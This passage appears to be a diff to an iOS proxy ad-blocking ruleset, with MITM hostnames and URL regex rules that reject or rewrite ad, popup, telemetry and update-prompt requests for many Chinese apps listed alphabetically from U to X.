^https?:\/\/qzonestyle\.gtimg\.cn\/qzone\/biz\/gdt\/mob\/sdk\/ios\/v2\/ reject-img +# ^https?:\/\/discuz\.gtimg\.cn\/cloud\/scripts\/discuz_tips\.js reject-img +# ^https?:\/\/bla\.gtimg\.com\/qqlive\/\d{6}.+?\.png reject-img +# ^https?:\/\/mmgr\.gtimg\.com\/gjsmall\/qiantu\/upload\/ reject-img +# ^https?:\/\/mmgr\.gtimg\.com\/gjsmall\/qqpim\/public\/ios\/splash\/.+?\/\d{4}_\d{4} reject-img +# ^https?://bk\.bingo\.qq\.com/bk/crx/data/videoAd.*$ reject-dict + +# > 推栏 +# hostname = m.pvp.xoyo.com +# 去开屏广告 需要重装 +^https?:\/\/m\.pvp\.xoyo\.com\/conf\/server-mapping reject-dict + + + +# >>>>>>>>>>>>>>> ✅ U ✅ <<<<<<<<<<<<<< +# > U净 +# hostname = api-marketing.zhinengxiyifang.cn, adsoss.zhinengxiyifang.cn, ads.zhinengxiyifang.cn +^https?:\/\/api-marketing\.zhinengxiyifang\.cn\/api\/v2\/cloudcode\/wechat\/bid reject +^https?:\/\/adsoss\.zhinengxiyifang\.cn\/ads reject +^https?:\/\/ads\.zhinengxiyifang\.cn\/api\/v1\.1\/ads\/* reject-200 + +# > udn news +# hostname = pubads.g.doubleclick.net, pagead2.googleadservices.com +^https?://pubads.g.doubleclick.net/gampad/ads reject +^https?://pagead2.googleadservices.com/pagead/adview reject + + + +# >>>>>>>>>>>>>>> ✅ V ✅ <<<<<<<<<<<<<< +# > Vista看天下 +# hostname = open3.vistastory.com +^https?:\/\/open3\.vistastory\.com\/v\d\/api\/inde/loading_ad reject-200 + + + +# >>>>>>>>>>>>>>> ✅ W ✅ <<<<<<<<<<<<<< +# > Weico(微博客户端) +# hostname = overseas.weico.cc +^https?:\/\/overseas\.weico\.cc\/portal\.php\?a=get_coopen_ads reject-200 + +# > WPS +# hostname = ios.wps.cn, mobile-pic.cache.iciba.com +^https?:\/\/ios\.wps\.cn\/ad-statistics-service reject + +# > WIFI万能钥匙 +# hostname = cds.wifi188.com +# 首页弹窗广告 +^https?:\/\/cds\.wifi188\.com\/feeds\.sec reject-dict + +# > 完美世界电竞 +# hostname = api.wmpvp.com +# 开屏广告 +^https?:\/\/api\.wmpvp\.com\/api\/v\d\/config\/promote reject + +# > 万词王 +# hostname = wanciwangdata.oss-cn-beijing.aliyuncs.com, recite.perfectlingo.com +# 感谢【sliverkiss】分享 +# 移除开屏 +^https?:\/\/wanciwangdata\.oss-cn-beijing\.aliyuncs\.com\/startup\/resource\/content.+ reject +# 移除banner广告 +^https?:\/\/recite\.perfectlingo\.com\/api\/recite\/app-act\/act-list.+ reject-dict +# 移除底部广告 +^https?:\/\/recite\.perfectlingo\.com\/api\/recite\/content-recommend\/v\d\/get-by-uid.+ reject-dict +# 移除悬浮广告 +^https?:\/\/recite\.perfectlingo\.com\/api\/recite\/floating-window\/v\d\/get-show.+ reject-dict + +# > 万达电影 +# hostname = misc-api-prd-mx.wandafilm.com +# APP开屏广告 +^https:\/\/misc-api-prd-mx\.wandafilm\.com\/commend\/common_banner_batch\.api response-body-json-jq '.data.objects["OpenAPP-&-FlashAD"] = [] | .data.objects["InTheaters-&-BoxAD"] = []' +# 小程序弹窗广告 +^https?:\/\/misc-api-prd-mx\.wandafilm\.com\/commend\/common_banner_batch\.api\?bannerInfos=%5B%7B%22cinemaI response-body-replace-regex "WX_index_mp-&-boxAD" "fmz200" + +# > 微信 +# hostname = mp.weixin.qq.com +# 公众号文章下方广告 +^https?:\/\/mp\.weixin\.qq\.com\/mp\/getappmsgad response-body-replace-regex advertisement fmz200 +# 微信公众号去除商品推广 +^https?:\/\/mp\.weixin\.qq\.com\/mp\/cps_product_info\?action reject-dict + +# > 网易新闻 +# hostname = c.m.163.com +^https?:\/\/c\.m\.163\.com\/nc\/gl\/ reject-200 + +# > 网易有钱 +# hostname = client.mail.163.com +^https?:\/\/client\.mail\.163\.com\/apptrack\/confinfo\/searchMultiAds reject-200 + +# > 网易严选 +# hostname = support.you.163.com, m.you.163.com, yanxuan.nosdn.127.net +https://support.you.163.com/appversync/check.do reject +^https?:\/\/m\.you\.163\.com\/activity\/popWindow reject +^https?:\/\/yanxuan\.nosdn\.127\.net\/.*\.mp4 reject + +# > 网易蜗牛读书 +# hostname = easyreadfs.nosdn.127.net, p.du.163.com +^https?:\/\/easyreadfs\.nosdn\.127\.net\/ad-material\/ reject-200 +^https?:\/\/p\.du\.163\.com\/ad\/ reject-200 + +# > 网易考拉 +# hostname = kaola-haitao.oss.kaolacdn.com, sp.kaola.com, gw.kaola.com +^https?:\/\/kaola-haitao\.oss\.kaolacdn.com\/.+?_\d{3,4}_\d{4}\.jpg\?x-oss-process=image\/resize,m_mfit,w_\d{3,4},h_\d{4}\/format,webp\/quality,Q_85 reject-200 +^https?:\/\/sp\.kaola\.com\/api\/openad reject-200 +^https?:\/\/gw\.kaola\.com\/gw\/dgmobile\/newOpenAd reject + +# > 网易云音乐 +# hostname = ipv4.music.163.com, interface.music.163.com, interface3.music.163.com, interface9.music.163.com +# 屏蔽广告 +https?:\/\/(ipv4|interface\d?)\.music\.163.com\/e?api\/ad reject-dict +# 今日运势 商城 Beat专区 音乐收藏家 | type:ACTIVITY | 低至5.2折 +^https?:\/\/interface\d?\.music\.163\.com\/w?e?api\/(side-bar\/mini-program\/music-service\/account|delivery\/(batch-deliver|deliver)|moment\/tab\/info\/get|yunbei\/account\/entrance\/get) reject-dict +# 播放页歌名下方∶乐迷团|关注|播放页提示|音乐应用红点|播放提示 +^https?:\/\/interface\d?\.music\.163\.com\/eapi\/(resource\/comments?\/musiciansaid|community\/friends\/fans-group\/artist\/group\/get|user\/sub\/artist|music\/songshare\/text\/recommend\/get|mine\/applet\/redpoint|resniche\/position\/play\/new\/get) reject-dict +# 搜索页热搜卡片|猜你喜欢|我的应用下方提醒 +^https?:\/\/interface\d?\.music\.163.com\/w?e?api\/(search\/(chart|default|rcmd\/keyword|specialkeyword)|resource-exposure\/|activity\/bonus\/playpage\/time\/query) reject-dict +^https?:\/\/interface\d?\.music\.163.com\/eapi\/(mlivestream\/entrance\/playpage|link\/(position\/show\/strategy|scene\/show)|ios\/version|v\d\/content\/exposure\/comment\/banner) reject-dict + +# > 网易邮箱 +# hostname = *.music.126.net, img1.126.net, www.icourse163.org, nex.163.com, g1.163.com, client.mail.163.com, c.m.163.com, interface*.music.163.com +^https?:\/\/p[^4](c)?\.music\.126\.net\/\w+==\/10995\d{13}\.jpg$ reject-img +^https?:\/\/p\.c\.music\.126.net\/.*?jpg$ reject +^https?:\/\/img1.126.net\/.+dpi=\w{7,8} reject +^https?:\/\/img1.126.net\/channel14\/ reject +^https?:\/\/iadmusicmat\.music.126.net\/.*?jpg$ reject +^https?:\/\/p\d\.music\.126\.net\/\w+==\/\d+\.jpg$ reject +^https?:\/\/www.icourse163.org\/.*?(Advertisement) reject-img +^https?:\/\/nex.163.com\/q reject +^https?:\/\/g1.163.com\/madfeedback reject +^https?:\/\/www\.icourse163\.org\/mob\/j\/v1\/mobRecommendRPCBean\.getMaxWeightAdvertisement\.rpc reject-200 +^https?:\/\/interface3?\.music\.163\.com/eapi/(ad|abtest|sp|hot|store|mlog|search/(specialkeyword|defaultkeyword|hot)) reject-img + +# > 网易大神 +# hostname = god.gameyw.netease.com, app-conf.ds.163.com +# 广告下发 +^https:\/\/god\.gameyw\.netease\.com\/v\d\/ad reject +# 我的页面 - 横幅广告、为你推荐、更多会员权益、精选活动 +^https:\/\/god\.gameyw\.netease\.com\/v\d\/app\/static\/conf\/getByModuleNameList$ reject-dict +# 底栏游戏入口 +^https:\/\/app-conf\.ds\.163\.com\/v\d\/app\/base\/conf\/static\/start-config\? response-body-json-del result.updateConfig[2].itemList[94].itemList[2] + +# > 网易有道词典 +# hostname = dict.youdao.com, api-overmind.youdao.com, cdke.youdao.com, dictvip-business.youdao.com, dsp-impr2.youdao.com, impservice.dictapp.youdao.com, oral.youdao.com, oimage*.ydstatic.com +# 翻译广告 +^https?:\/\/dict\.youdao\.com\/course\/tab\/translateTab reject-dict +# 听读训练 +#^https?:\/\/dict\.youdao\.com\/homepage\/tile reject-dict +# 首次查词弹窗 +^https?:\/\/api-overmind\.youdao\.com\/openapi\/get\/luna\/dict\/dict-mobile\/prod\/dictCommonConfig reject-dict +# 首页弹窗 +^https?:\/\/cdke\.youdao\.com\/course3\/recommend\/dict\/startup reject-dict +# 搜索预想 +^https?:\/\/dict\.youdao\.com\/commonsearch reject-dict +# 会员优惠券弹窗 +^https?:\/\/dict\.youdao\.com\/vip\/activity\/couponinfo reject-dict +# 首页左上角福利中心 +^https?:\/\/dict\.youdao\.com\/dictusertask\/system reject-dict +# 会员界面横幅广告 +^https?:\/\/dictvip-business\.youdao\.com\/home\/ad reject-dict +# 其他 +^https?:\/\/oimage([a-z])([0-9])\.ydstatic\.com\/.+adpublish reject +^https?:\/\/oimage\w\d\.ydstatic\.com\/image\?.+?=adpublish reject-img +^https?:\/\/dsp-impr2\.youdao\.com\/adload reject-200 +^https?:\/\/impservice\.dictapp\.youdao\.com\/imp\/request reject-img +^https?:\/\/oral\.youdao\.com\/oral\/adInfo reject-img + +# > 网上国网 +# hostname = osg-static.sgcc.com.cn, osg-service.sgcc.com.cn +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/emss-pfa-appset-front\/appForceUpdate reject +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/emss-pfa-appset-front\/appSync\/getAppForceUpgrade reject +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/emss-pfa-appset-front\/bootpageoutter\/ reject-dict +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/.*\/app_api\/selectInfoByCondition reject-dict +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/.*\/inner\/cache reject + +# > 威锋 +# hostname = api.wfdata.club +^https?:\/\/api\.wfdata\.club\/v\d\/yesfeng\/(infoCenterAd|yesList) reject + +# > 微店 +# hostname = thor.weidian.com +^https?:\/\/thor\.weidian\.com\/ares\/home\.splash reject-200 + +# > 无他相机 +# hostname = api-release.wuta-cam.com, res-release.wuta-cam.com +^https?:\/\/api-release\.wuta-cam\.com\/ad_tree reject-200 +^https?:\/\/res-release\.wuta-cam\.com\/json\/ads_component_cache\.json reject + +# > 悟空遥控器 +# hostname = img.wukongtv.com +^https?:\/\/img\.wukongtv\.com\/wkremote\/AD\/iOS\/.*.(jpg|png|jpeg) reject-200 + +# > 蜗牛睡眠 +# hostname = snailsleep.net +^https?:\/\/snailsleep\.net\/snail\/v\d\/adTask\/ reject +^https?:\/\/snailsleep\.net\/snail\/v\d\/screen\/qn\/get\? reject + +# > 本来生活 +# hostname = img0*.benlailife.com +^https?:\/\/img0[1-9]{1}\.benlailife\.com\/AppHomePageImage\/upload\/files\/.*.jpg reject-200 + +# > 唯品会 +# hostname = b.appsimg.com, mapi.appvipshop.com +^https?:\/\/b\.appsimg\.com\/upload\/momin reject +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/activity\/advertisement\/get reject-200 +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/iosAdInfo\/report reject +# APP+小程序弹窗广告 +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/layout\/productList\/eventData\/v reject-200 +# 右下角悬浮窗,需手动关闭广告一次 +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/activity\/coupon\/float_entrance\/get\?api_key reject-200 + +# > 稿定设计 +# hostname = qiye.gaoding.com +^https:\/\/qiye\.gaoding\.com\/api\/v3\/oc\/v2\/delivery-pits\/ios-splash\/ reject-dict + +# > 我爱卡社区管家 +# hostname = api.51credit.com +^https?:\/\/api\.51credit\.com\/app\/popup\/appPopup reject-dict +^https?:\/\/api\.51credit\.com\/ks\/a\/list\? reject-dict +^https?:\/\/api\.51credit\.com\/bbs\/app\/api\/v\d\/topic\/chat reject-dict + + + +# >>>>>>>>>>>>>>> ✅ X ✅ <<<<<<<<<<<<<< +# > 小米有品 +# hostname = shopapi.io.mi.com +^https?:\/\/shopapi\.io\.mi\.com\/mtop\/mf\/resource\/homePage\/pageConfig reject-200 + +# > 小米运动 +# hostname = api-mifit*.huami.com +^https?:\/\/api-mifit.+?\.huami\.com\/discovery\/mi\/discovery\/.+?_ad\? reject-200 + +# > 小米打印 +# hostname = api-miprint.hannto.com, api.indeedpower.com +# 去开屏 感谢【别怕我又不乱来】分享 +^https?:\/\/api-miprint\.hannto\.com\/v1\/c\/res\/app\/ad\/\?app_version reject-dict +# 主页上方广告 +^https?:\/\/api\.indeedpower\.com\/v1\/m\/edu\/module\/homepage_banner\/\?randomStr reject-dict + +# > 小米金融 +# hostname = api.jr.mi.com +^https?:\/\/api\.jr\.mi\.com\/v\d\/adv\/ reject-200 +^https?:\/\/api\.jr\.mi\.com\/jr\/api\/playScreen reject-200 + +# > 小爱音箱 +# hostname = info.mina.xiaoaisound.com, marketing-aibox.v.mitvos.com +^https?:\/\/(info\.mina\.xiaoaisound|marketing-aibox\.v\.mitvos)\.com\/advertise(?!\/banner) reject +^https?:\/\/(info\.mina\.xiaoaisound|marketing-aibox\.v\.mitvos)\.com\/payGuide\/userCenter reject +^https?:\/\/(info\.mina\.xiaoaisound|marketing-aibox\.v\.mitvos)\.com\/popup reject-dict + +# > 米家 +# hostname = home.mi.com +^https?:\/\/home\.mi\.com\/cgi-op\/api\/v1\/recommendation\/(banner|carousel\/banners|myTab|openingBanner) reject-dict + +# > 米读 +# hostname = apiwz.midukanshu.com +^https?:\/\/apiwz\.midukanshu\.com\/advert\/getPopup$ reject +^https?:\/\/apiwz\.midukanshu\.com\/advert\/treasureInfo$ reject +^https?:\/\/apiwz\.midukanshu\.com\/config\/getAds$ reject + +# > 米游社 +# hostname = upload-bbs.mihoyo.com +^https?:\/\/upload-bbs\.mihoyo\.com\/upload\/202[2-9]{1}\/[0-9]{2}\/[0-9]{2}\/[a-z0-9]{32}_[a-z0-9]{19}\.(jpg|png)$ reject-200 + +# > 雪球 +# hostname = api.xueqiu.com, open.xueqiu.com, stock.xueqiu.com, 39.103.79.14, 39.106.97.84, 47.95.49.75, 101.201.62.20, 101.201.62.26, 101.201.175.228, 124.250.48.3, 182.92.145.50, 182.92.251.113 +^https:\/\/api\.xueqiu\.com\/snowpard\/launch_strategy\/query\.json\?channel=1&height=932 reject-dict +^https:\/\/open\.xueqiu\.com\/mpaas\/config\/content\?.+home_visitor_relation_config reject-dict +^https:\/\/api\.xueqiu\.com\/snowpard\/launch_strategy\/query\.json\?channel=1&location=0&model=6&page=4 reject-dict +^https:\/\/api\.xueqiu\.com\/snowpard\/launch_strategy\/query\.json\?channel=1&location=0&model=1&page=(4|6) reject-dict +^https:\/\/api\.xueqiu\.com\/ucprofile\/api\/user\/batchGetUserBasicInfo\.json reject-dict +^https:\/\/api\.xueqiu\.com\/lightsnow\/launch\/plan\/bee\/query\.json\?channel=1&ip_label=&label_json=.+new_customer=1 reject-dict +^https:\/\/api\.xueqiu\.com\/lightsnow\/optional\/banner\/query\.json reject-dict +^https:\/\/open\.xueqiu\.com\/mpaas\/config\/content\?.+cube_detail_bottom_operation_trade_button reject-dict +^https:\/\/api\.xueqiu\.com\/recommend-proxy\/card\/zj_card\.json\?feed_id=207 reject-dict +^https:\/\/api\.xueqiu\.com\/recommend-proxy\/card\/portfolio_tab_symbol\.json reject-dict +^https:\/\/stock\.xueqiu\.com\/v5\/stock\/group\/recommend\/default\/list\.json reject-dict +^https:\/\/api\.xueqiu\.com\/livestream\/structure\/live\/hotCard\.json reject-dict + +# > 下厨房 +# hostname = api.xiachufang.com +^https?:\/\/api\.xiachufang\.com\/v\d\/ad/ reject +# 首页会有一小部分图片误杀 +^https?:\/\/images\.cib\.com\.cn\/commons\/uploads\/commons\/[a-zA-Z0-9]{32}\.jpg\?ver=20221[1-2]{1} reject-200 +^https?:\/\/images\.cib\.com\.cn\/commons\/uploads\/commons\/[a-zA-Z0-9]{32}\.jpg\?ver=20230[1-9]{1} reject-200 + +# > 兴业银行 +# hostname = file.cibfintech.com +^https?:\/\/file\.cibfintech\.com\/file\/M0[1-9]{1}\/*\/*\/.*.zip reject-img + +# > 星火英语 +# hostname = api*.sparke.cn +# 开屏广告 +^https?:\/\/api\d\.sparke\.cn\/admodel\/list\?adspace=spgg&flag=\d$ reject + +# > 星途 starway +# hostname = app.chinahxzq.com.cn +# 开屏广告 感谢【打豆豆】分享 +^https?:\/\/app\.chinahxzq\.com\.cn:9302\/starway-api\/ad reject-dict +^https?:\/\/app\.chinahxzq\.com\.cn\/starway\/adShow reject-dict + +# > 星财富 +# hostname = operationapi.fosunhanig.com +# 开屏广告+弹窗广告+横幅广告 +^https?:\/\/operationapi\.fosunhanig\.com\/ad\/v\d\/(PopupAdList|ScreenAdList|BannerList) reject-200 + +# > 迅雷 +# hostname = images.client.vip.xunlei.com, api-shoulei-ssl.xunlei.com +^https?:\/\/images\.client\.vip\.xunlei\.com\/.+?\/advert\/ reject-200 +^https?:\/\/api-shoulei-ssl\.xunlei\.com\/flowhub\/v\d\/slots:batchGet reject-200 + +# > 迅游加速器 +# hostname = portal-xunyou.qingcdn.com +^https?:\/\/portal-xunyou\.qingcdn\.com\/api\/v\d\/ios\/ads\/ reject-200 +^https?:\/\/portal-xunyou\.qingcdn\.com\/api\/v\d\/ios\/configs\/(?>splash_ad|ad_urls) reject-200 + +# > 小睡眠 +# hostname = api.psy-1.com +^https?:\/\/api\.psy-1\.com\/cosleep\/startup reject + +# > 小特- 首选特斯拉中文社区 +# hostname = lcen.xiaote.net +^https?:\/\/lcen\.xiaote\.net\/api\/graphql response-body-replace-regex screenSplashAd fmz200 + +# > 小利生活 +# hostname = mpos-pic.helipay.com +^https?:\/\/mpos-pic\.helipay\.com\/upload\/images\/advertisment\/image reject + +# > 小兔充充 +# hostname = ad.xiaotucc.com, mapi.xiaotucc.com +# 小程序净化 +^https?:\/\/ad\.xiaotucc\.com\/advert reject + +# > 小电充电 微信小程序 +# hostname = smarket.dian.so, file.dian.so +^https?:\/\/smarket\.dian\.so reject-dict +^https?:\/\/file\.dian\.so\/c\/leto reject-dict + +# > 小合拓展 +# hostname = xhtz.oss-cn-guangzhou.aliyuncs.com +^https?:\/\/xhtz.oss-cn-guangzhou\.aliyuncs\.com\/home\/member\/.+\.png$ reject-200 + +# > 小牛 +# hostname = app-api.niu.com +^https?:\/\/app-api\.niu\.com\/v\d\/advertisement\/ reject + +# > 小桔科技 +# hostname = ct.xiaojukeji.com, res.xiaojukeji.com +^https?:\/\/ct\.xiaojukeji\.com\/agent\/v3\/feeds reject +^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/get(Ruled|Preload|PasMultiNotices) reject +^https?:\/\/res\.xiaojukeji\.com\/resapi\/activity\/mget reject + +# > 小艺 +# hostname = api.xiaoyi.com +^https?://api.xiaoyi.com\/v5\/app\/mobile\/ads reject +^https?://api.xiaoyi.com\/v5\/app\/config\?userid=.* reject + +# > 小Biu智家 +# hostname = shcss.suning.com +# 开屏广告 感谢【别人别我】分享 +^https?:\/\/shcss\.suning\.com\/shcss-web\/api\/appImage\/queryAppImage\.do reject-200 + +# > 小熊艺术 +# hostname = www.xiaoxiongmeishu.com +^https:\/\/www\.xiaoxiongmeishu\.com\/api\/(home\/v1\/config\/appInit|s\/v1\/popup\/createCouponPopup) reject + +# > 小熊拦截 +# hostname = spamblocker-api.zeekstudio.com +# 去除更新弹窗 +^https:\/\/spamblocker-api\.zeekstudio\.com\/profile reject-dict +^https:\/\/spamblocker-api\.zeekstudio\.com\/checkVersion reject-dict + +# > 小佩宠物 +# hostname = api.petkit.cn +^https?:\/\/api\.petkit\.cn\/6\/\/device\/relatedProductsInfo reject-dict + +# > 小白学习打印机 开屏广告 +# hostname = api.xbxxhz.com +# 捕获试卷脚本:https://raw.githubusercontent.com/Yu9191/Script/main/shijuan.js +^https?:\/\/api\.xbxxhz\.com\/big_data\/v1\/home_pages reject + +# > 小象超市 +# hostname = portal-portm.meituan.com, mall.meituan.com +# 广告下发 +^https?:\/\/portal-portm\.meituan\.com\/horn_ios\/mergeRequest reject-dict +# 开屏广告 +^https?:\/\/mall\.meituan\.com\/api\/c\/homepage\/splash reject-dict +# 首页领券悬浮红包 +^https?:\/\/mall\.meituan\.com\/api\/c\/homepage\/bubble\/operate\/info mock-response-body data-type=json data="{"code": 0}" + +# > 小宇宙 +# hostname = api.xiaoyuzhoufm.com +# 开屏广告 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/flash- reject-dict +# 移除ai总结 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/ai-summary reject-dict +# 会员横幅设为不可点击 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/membership\/platform reject-dict +# 移除小宇宙搜索框内容 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/search\/get-(?>preset|express) reject-dict +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/category\/list-daily-suggestion reject-dict + +# > 小芒 +# hostname = mgesq.api.mgtv.com, *.hitv.com +# app去广告 感谢【sliverkiss】分享 +# 我的页面-猜你喜欢 +^https:\/\/mgesq\.api\.mgtv\.com\/v2\/goods\/guess_you_like reject-dict +# 我的页面- +https://mgesq.api.mgtv.com/v2/user/center/icon reject-dict +# 搜索排行榜单 +^https:\/\/mgesq\.api\.mgtv\.com\/search\/goods\/rank reject-dict +# 底部按钮、我的页面左上角 +^https:\/\/mgesq\.api\.mgtv\.com\/user\/center\/config reject-dict + +# > 小蚕霸王餐 +# hostname = zlsdk.1rtb.net, web2.realtech-inc.com, sdk.1rtb.net, gw.xiaocantech.com +# 感谢【派大星,ZenMoFiShi,sliverkissm】分享 +# 去广告(这个域名其实已经在分流中拒绝) +^https?:\/\/zlsdk\.1rtb\.net\/sdk\/req_ad reject-dict +# 红包推广 因为Loon没有url-and-header这种匹配方式,此条可能会导致软件异常 +#^https:\/\/gw\.xiaocantech\.com\/rpc reject-dict +# 首页横幅推广 +^https:\/\/web2\.realtech-inc\.com\/oss\/xc-app-assets\/configs\/common\/theme\.json reject-dict +# 开屏广告 +^https:\/\/sdk\.1rtb\.net\/sdk\/req_ad\? reject-dict +# 更新弹窗 +^https:\/\/gw\.xiaocantech\.com\/g\/pa reject-dict + +# > 晓晓优选 +# hostname = xxyx-client-api.xiaoxiaoyouxuan.com, statistic.live.126.net +# 多余模块 +^https:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/vajra reject-dict +# 弹窗广告 +^https?:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/agent_ad reject +# 右下角的悬浮广告 +^https?:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/activity\/show reject +# 禁止上报设备信息 +^https?:\/\/statistic\.live\.126\.net\/statics\/report\/common\/form reject + +# > 希尔顿 荣誉客会 +# hostname = wcprd.hilton.com.cn +^https?:\/\/wcprd\.hilton\.com\.cn\/app-middleware\/graphql\?type=splashAd reject-200 + +# > 希沃白板5 +# hostname = cstore-en-public-tx.seewo.com +# 开屏广告 需要卸载重装 感谢【别怕我又不乱来】分享 +^https?:\/\/cstore-en-public-tx\.seewo\.com\/easinote5_public reject-dict + +# > 西施眼 +# hostname = vapp.tmuyun.com +^https:\/\/vapp\.tmuyun\.com\/api\/app_start_page\/list\/new reject-dict +^https:\/\/vapp\.tmuyun\.com\/api\/buoy\/list reject-dict + +# > 西窗烛 +# hostname = lchttpapi.xczim.com +^https?:\/\/lchttpapi\.xczim\.com\/1\.1\/functions\/getLaunchImageForIOS reject + +# > 稀饭动漫 +# hostname = pzoap.moedot.net +^https?:\/\/pzoap\.moedot\.net\/xgapp\.php\/v2\/top_notice reject + +# > 向日葵 +# hostname = client-api-v2.oray.com +# ^https?:\/\/client-api-v2\.oray\.com\/materials reject-200 +# 开屏广告 +^https?:\/\/client-api-v2\.oray\.com\/materials\/SLCC_IOS_STARTUP reject-dict +# 首页文字广告 +^https?:\/\/client-api-v2\.oray\.com\/materials\/SLCC_IOS_DEVICE reject-dict +# 发现页广告 +^https?:\/\/client-api-v2\.oray\.com\/materials\/SUNLOGIN_CLIENT_IOS_PROMOTION reject-dict + +# > 心悦俱乐部 +# hostname = bgw.xinyue.qq.com +^https?:\/\/bgw\.xinyue\.qq\.com\/xyapi\.PageService\/GetIndexPopFlash reject-200 + +# > 兴业证券 +# hostname = static.xyzq.cn +# 优理宝(3秒倒计时,任意位置点一下即可跳过) +^https?:\/\/static.xyzq.cn\/image\/splash\/opera3.*.jpg reject-200 + +# > 熊猫直播 +# hostname = static.api.m.panda.tv +^https?:\/\/static\.api\.m\.panda\.tv\/index\.php\?method=clientconf\.firstscreen&__version=(play_cnmb|(\d+\.){0,3}\d+)&__plat=ios&__channel=appstore reject-img + +# > 讯飞 +# hostname = imeclient.openspeech.cn +^https?:\/\/imeclient\.openspeech\.cn\/adservice\/ reject-200 + +# > 携程 +# hostname = m.ctrip.com, ma-adx.ctrip.com, mbd.baidu.com +# 更新弹窗 APP降级8.40.0版本搭配去开屏广告规则,目前没有出现MITM失败等其他问题 如开启可自行添加主机名 m.ctrip.com +^https?:\/\/m\.ctrip\.com\/restapi\/soa2\/[0-9]{5}\/json\/getTimeZoneServerIpList\?__gw_os=IOS reject-200 +# 开屏去广告 +^https?:\/\/ma-adx\.ctrip\.com\/_ma\.gif reject +# 8.47.0以上版本会有部分图片加载不出来 +^https?:\/\/m\.ctrip\.com\/restapi\/soa2\/13916\/json\/tripAds reject-200 +^https?:\/\/mbd\.baidu\.com\/newspage\/api\/getmobads\?page\=landingshare reject + +# > 虾米音乐 +# hostname = acs.m.taobao.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimusic\.common\.mobileservice\.startinit\/ reject + +# > 下厨房 +# hostname = *.pglstatp-toutiao.com, res1.hubcloud.com.cn +# 去开屏 +^http?:\/\/.*\.pglstatp-toutiao\.com reject-200 +^http:\/\/res1\.hubcloud\.com\.cn reject-200 + +# > 厦门航空 +# hostname = mobileapi.xiamenair.com +# 开屏广告 +^https:\/\/mobileapi\.xiamenair\.com\/mobile-starter reject + +# > 闲鱼 +# hostname = acs.m.goofish.com, g-acs.m.goofish.com, dinamicx.alibabausercontent.com +# 拦截广告下发 因为Loon没有url-and-header这种匹配方式,此条可能会导致软件异常 +#^http:\/\/amdc\.m\.taobao\.com\/amdc\/mobileDispatch reject +# 我的页面横幅 +^https:\/\/dinamicx\.alibabausercontent\.com\/pub\/fish_home_top_kingkong_new\/ reject +# 搜索页面净化 +^https:\/\/acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlemtopsearch\.item\.search\.activate\/ reject-dict +^https:\/\/acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlemtopsearch\.search\.discover\/ reject-dict + +# > 新浪新闻 +# hostname = edit.sinaapp.com +^https?:\/\/edit\.sinaapp\.com\/ua\?t=adv reject-200 + +# > 新片场 +# hostname = app.xinpianchang.com +^https?:\/\/app\.xinpianchang\.com\/open_screen\? reject + +# > 小红书 +# hostname = edith.xiaohongshu.com, www.xiaohongshu.com, ci.xiaohongshu.com, rec.xiaohongshu.com +# 惊喜弹窗 +^https:\/\/edith\.xiaohongshu\.com\/api\/sns\/v1\/surprisebox\/(?:get_style|open|submit_action) reject-dict +^https?:\/\/www\.xiaohongshu\.com\/api\/marketing\/box\/trigger\? reject-dict +# 信息流 +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/note\/guide\? reject-dict +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/guide\/user_banner reject-dict +^https?:\/\/www\.xiaohongshu\.com\/api\/sns\/(v\d\/ads\/resource|v\d\/hey\/\w+\/hey_gallery) reject-dict +# 评论区图片水印 +^https?:\/\/ci\.xiaohongshu\.com\/system_config\/watermark reject-img + +# > 喜马拉雅 +# hostname = *.xima*.*.com, *.xmcdn.* +# 修复轮播Ad失效Bug +^https?:\/\/.*\.xima.*\.com\/discovery-feed\/focus\/queryF reject +# 播放页_Live +^https?:\/\/.*\.xima.*\.com\/mobile-playpage\/view\/ reject +# MyInfo红点提醒 +^https?:\/\/.*\.xima.*\.com\/chaos-notice-web\/v1\/message\/preview\/list reject +# 屏蔽大红包Tips +^https?:\/\/.*\.xima.*\.com\/social-web\/bottomTabs\/dynamicEntrance\/status reject +# 屏蔽gif弹窗Ad +^https?:\/\/.*\.xmcdn\.com\/\w{8}\/\w{4}-\w{16}\/.+gif$ reject +# gslb +^https?:\/\/gslb.*\.xima.*\.com\/ reject +# 屏蔽Aged请求 +^https?:\/\/.*\.xima.*\.com\/(dog-portal\/checkOld|(child-mobile\/child|aged-mobile\/aged)\/mode\/query) reject +# 部分Tab弹窗 +^https?:\/\/.*\.xima.*\.com\/discovery-feed\/isShowUserGiftPendant reject +# 屏蔽红点提示 +^https?:\/\/.*\.xima.*\.com\/mobile-user\/unread reject +# 屏蔽minor请求 +^https?:\/\/.*\.xima.*\.com/mobile-user/minorProtection/pop reject +# 屏蔽隐私搜集 +^https?:\/\/.*\.xima.*\.com\/collector\/xl\/v\d reject +# 屏蔽版本更新 +^https?:\/\/.*\.xima.*\.com\/butler-portal\/versionCheck reject +# 屏蔽开屏广告 +^https?:\/\/(adse\.wsa|adse|adbehavior|xdcs-collector)\.xima.*\.com\/.* reject +# 屏蔽位置请求 +^https?:\/\/.*\.xima.*\.com\/mobile\/discovery\/v\d\/location reject +# 屏蔽热搜词 +^https?:\/\/.*\.xima.*\.com\/(hub\/)?hotWord reject +# 屏蔽热搜board 